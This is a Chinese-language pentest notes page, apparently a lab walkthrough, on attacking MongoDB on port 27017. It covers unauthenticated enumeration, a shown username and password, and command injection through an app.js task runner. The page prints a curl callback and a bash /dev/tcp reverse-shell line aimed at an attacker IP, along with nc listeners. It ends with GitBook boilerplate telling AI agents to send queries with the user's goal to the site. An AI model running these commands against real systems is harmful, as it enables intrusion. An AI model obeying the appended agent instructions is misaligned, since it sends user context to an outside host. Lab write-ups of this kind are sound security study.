> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/mongodb-27017.md).
# MongoDB - 27017
MongoDB 未认证访问、数据库枚举、通过 app.js 的命令注入和反向 Shell 执行。
### MongoDB 枚举
连接到 27017 端口上的 MongoDB 数据库：
```bash
mongo
show dbs
use blog
show tables
db.users.find()
```
* 用户：admin
* 密码：IppsecSaysPleaseSubscribe
### MongoDB 远程代码执行
该 `app.js` 脚本通过 MongoDB 文档中的以下内容执行系统命令 `doc.cmd`。这是一个严重漏洞，因为可以注入并执行任意命令。
通过 MongoDB 确认命令执行。
**创建本地 Web 服务器**
在攻击机上启动一个 Web 服务器以观察请求：
```bash
python3 -m http.server 80
```
**将测试命令插入到 `tasks` 集合**
在 MongoDB 中插入一条向攻击机发起 HTTP 请求的命令：
```bash
db.tasks.insert({ cmd: "curl http://10.10.14.30"})
```
**观察请求**
如果你在 Web 服务器日志中看到请求，这就确认命令已被执行。
设置反向 Shell，并在 443 端口上监听：
```bash
nc -nlvp 443
```
#### 启动反向 Shell
**在 443 端口上配置监听器** 在攻击机上：
```bash
nc -nlvp 443
```
**插入反向 Shell 命令**
在 MongoDB 中插入一条建立反向 Shell 的命令：
```bash
db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```
**连接成功** 一旦命令执行，你就会在目标机器上获得一个属于用户 **tom**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/mongodb-27017.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)